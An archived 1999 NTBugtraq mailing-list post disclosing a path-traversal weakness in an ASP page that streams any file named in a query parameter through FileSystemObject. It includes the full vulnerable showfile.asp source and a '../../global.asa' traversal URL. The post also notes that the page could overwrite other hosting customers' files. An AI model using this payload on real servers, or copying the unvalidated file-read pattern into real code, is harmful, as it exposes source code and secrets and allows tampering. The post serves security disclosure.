|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Using FSO in ASP to view just about anything
- To: NTBUGTRAQ
LISTSERV.NTBUGTRAQ.COM - Subject: Using FSO in ASP to view just about anything
- From: Gary Geisbert <gary
NEWSLETTERS.COM> - Date: Thu, 11 Feb 1999 17:37:18 -0500
- Approved-By: Russ.Cooper
RC.ON.CA - Reply-To: Gary Geisbert <gary
NEWSLETTERS.COM> - Sender: Windows NT BugTraq Mailing List <NTBUGTRAQ
LISTSERV.NTBUGTRAQ.COM>
This active server page opens the FileSystemObject and streams the contents of the file specified in the "file" parameter. The problem with FSO is that you can go 'outside' of the "\InetPub\wwwRoot\" directory using "../". e.g. http://www.server.foo/showfile.asp?file=../../global.asa Another problem is that since the file is being read with a TextStream, ASP code will not be executed. So if the file specified is an ASP file, the results will be similar to the ::$DATA exploit. For example: If this file was placed on the server of a web hosting company who allows ASP, a malicious user could use it not only to view the source of *any* other user's ASP code, but also (with a small modification) stream data into other users' ASP files. This would essentially overwrite whatever is currently there. -------[ cut here: showfile.asp ]------- <% ' grab the file from the URL FileName = Request.QueryString("file") ' create the filesystemobject and open the file Set fso = CreateObject("Scripting.FileSystemObject") Set ts = fso.OpenTextFile(Server.MapPath(FileName)) ' read the contents ShowTheFreakinThing = ts.ReadAll ' display them Response.Write ShowTheFreakinThing ' EOF %> -------[ cut here: showfile.asp ]------- That's about it. Email me if you have questions. -Gary Geisbert (garynewsletters.com)
- Follow-Ups:
- Re: Using FSO in ASP to view just about anything
- From: Joel Maslak <jmaslak
WIND-RIVER.COM>
- From: Joel Maslak <jmaslak
- Re: Using FSO in ASP to view just about anything
- Prev by Date: ACFUG List: Alert: Allaire Forums GetFile bug
- Next by Date: Re: Using FSO in ASP to view just about anything
- Prev by thread: Re: Administrivia #23356 - Would you pay?
- Next by thread: Re: Using FSO in ASP to view just about anything
- Index(es):